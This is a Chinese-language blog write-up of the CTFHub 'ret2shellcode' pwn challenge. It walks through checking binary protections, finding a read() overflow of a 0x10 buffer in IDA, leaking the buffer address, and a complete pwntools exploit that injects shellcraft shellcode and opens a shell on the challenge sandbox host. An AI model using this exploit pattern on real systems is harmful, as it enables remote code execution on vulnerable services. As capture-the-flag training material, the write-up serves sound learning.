CTFHUB-PWN-ret2shellcode

PWN常用命令_猫疼玩AI的博客-CSDN博客

几个大方向的思路:
没有PIE:ret2libc
NX关闭:ret2shellcode
其他思路:ret2csu、ret2text 【程序本身有shellcode】

先检查开了什么保护

CTFHUB-PWN-ret2shellcode_第1张图片

没有开保护 并且是64 的

放入ida64

查看字符串

CTFHUB-PWN-ret2shellcode_第2张图片

 发现没有shell

我们看看主函数

CTFHUB-PWN-ret2shellcode_第3张图片

 发现有read函数 但是没有shell

并且 read 的大小为 400u   但是我们buf的大小只为 10h 所以说明是让我们写shellcode进去

我们现在要确定一些信息

1.buf的大小

大小为 0x10+0x08  因为是64位

2.shellcode的地址

我们要知道shellcode的地址 必须要知道 buf的地址 因为我们要把buf填充满 然后再让栈进入shellcode的地址 然后再执行shellcode

我们把shellcode_addr放在 buf_addr后面

buf_addr 是在程序执行的时候给我们的 %p是输出地址

所以我们使用pwntools 的 recvuntil()函数来取得

3.shellcode

使用pwntools中的

shellcode = asm(shellcraft.sh())即可

但是注意 64位要加上 context.arch='amd64'

context.arch = 'amd64'
shellcode = asm(shellcraft.sh())

我们取得这些 我们就可以开始编写 exp

from pwn import *
import re
context.arch='amd64'
shellcode=asm(shellcraft.sh())
p=remote('challenge-c3b38bfcad408f15.sandbox.ctfhub.com',33975)
buf_addr=p.recvuntil(']')  #截取到]为止的字符串
buf_addr=int(buf_addr[-15:-1],16)  #处理一下 然后为16进制
shellcode_addr=buf_addr+32   #0x10+0x08+0x08 十进制为32
payload=b'a'*(0x10+0x08)+p64(shellcode_addr)+shellcode
p.sendline(payload)
p.interactive()

运行

CTFHUB-PWN-ret2shellcode_第4张图片

 得到flag

CTFHUB-PWN-ret2shellcode_第5张图片

最后晒出我自己理解的栈中的现象

CTFHUB-PWN-ret2shellcode_第6张图片

 

你可能感兴趣的:(PWN的学习,开发语言)